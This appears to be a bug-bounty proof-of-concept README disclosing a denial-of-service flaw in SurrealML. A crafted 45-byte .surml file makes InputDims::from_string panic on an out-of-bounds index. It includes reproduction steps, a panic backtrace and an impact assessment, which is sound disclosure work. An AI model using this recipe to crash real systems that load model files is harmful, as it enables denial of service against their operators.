Abhnv7/huntr-poc-bug04-surrealml-inputdims-panic

Huntr PoC: SurrealML InputDims::from_string out-of-bounds index panic

Target

• Program: surrealml (surrealml-core)
• Repo: https://github.com/surrealdb/surrealml
• Commit: 152ac2d508f1bae9ee62c46b7d211d80e40a6425
• Affected file: modules/core/src/storage/header/input_dims.rs
• Affected function: InputDims::from_string()
• Affected line: 36 — dims: [dims[0], dims[1]] — panics when dims.len() < 2

Summary

InputDims::from_string() splits the input-dims header field on ,, collects results into a Vec, then unconditionally indexes dims[0] and dims[1]. If the field contains fewer than two comma-separated integers (e.g. "1"), dims.len() == 1 and dims[1] panics with index out of bounds. A second panic site exists at the parse::<i32>().unwrap() call — any non-numeric token also aborts. A 45-byte crafted file reliably triggers the OOB panic.

Files

File	Description
poc_bug04.surml	45-byte malicious .surml triggering the panic
generate_poc_bug04.py	Python script that generates the PoC
BUG04-actual-log.txt	Actual panic output + full stack backtrace
BUG04-verdict.md	Full verdict with source analysis

Reproduction

Step 1 — Generate PoC

python3 generate_poc_bug04.py
# produces poc_bug04.surml (45 bytes)

Step 2 — Trigger panic

use surrealml_core::storage::surml_file::SurMlFile;
let _ = SurMlFile::from_file("poc_bug04.surml");

RUST_BACKTRACE=1 cargo run -- poc_bug04.surml

Actual Output

thread 'main' panicked at modules/core/src/storage/header/input_dims.rs:36:33:
index out of bounds: the len is 1 but the index is 1
stack backtrace:
   0: rust_begin_unwind
   1: core::panicking::panic_fmt
   2: core::panicking::panic_bounds_check
   3: <usize as core::slice::index::SliceIndex<[T]>>::index
   4: core::slice::index::<impl core::ops::index::Index<I> for [T]>::index
   5: <alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index
   6: surrealml_core::storage::header::input_dims::InputDims::from_string
             at modules/core/src/storage/header/input_dims.rs:36:33
   7: surrealml_core::storage::header::Header::from_bytes
             at modules/core/src/storage/header/mod.rs:190:26
   8: surrealml_core::storage::surml_file::SurMlFile::from_file
             at modules/core/src/storage/surml_file.rs:124:22
EXIT: 101

Impact

Severity: Medium (DoS)

• Deterministic process panic (abort with exit code 101) via 45-byte crafted .surml.
• Two distinct panic sites in the same function: OOB index at line 36, and parse().unwrap() before it.
• Affects SurMlFile::from_file(), SurMlFile::from_bytes(), and the load_model() C FFI.
• No memory corruption. No data disclosure. Pure denial-of-service.
• Separate root cause and fix location from BUG03 — warrants its own report.

Environment

• OS: macOS 26.5.1 (arm64 / Apple Silicon)
• Rust: 1.96.0 (rustc ac68faa20)
• surrealml commit: 152ac2d508f1bae9ee62c46b7d211d80e40a6425
• PoC file: poc_bug04.surml
  • Size: 45 bytes
  • SHA256: a2cb664a6fbed4a5a70decb91343a9bbf377f6de25b5eb4e1d0a2c700064a447